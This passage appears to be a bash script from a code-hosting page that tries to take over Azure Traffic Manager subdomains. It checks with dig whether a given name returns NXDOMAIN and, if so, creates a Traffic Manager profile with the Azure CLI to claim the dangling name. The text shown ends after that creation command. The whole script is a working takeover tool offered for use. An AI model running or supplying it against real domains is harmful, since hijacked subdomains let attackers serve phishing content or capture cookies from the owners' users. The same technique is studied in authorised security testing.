This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "--------------------------------------" | |
echo "Trying to takeover $1 on Azure TrafficManager" | |
domainName=$1.trafficmanager.net | |
echo "Checking DNS state for $domainName" | |
dnsState=$(dig $domainName @tm2.msft.net | grep NXDOMAIN) | |
if [[ ! -z $dnsState ]]; then | |
echo "$1 is pointing NXDOMAIN, trying to create it..." | |
NEW_UUID=$(echo $1 | sed 's/\.//g') | |
result=$(azure network traffic-manager profile create --name $NEW_UUID -d $domainName -m Performance -p http -p https -r "/" --json 2>/dev/null | jq .profile.domainName | sed 's/\"//g') |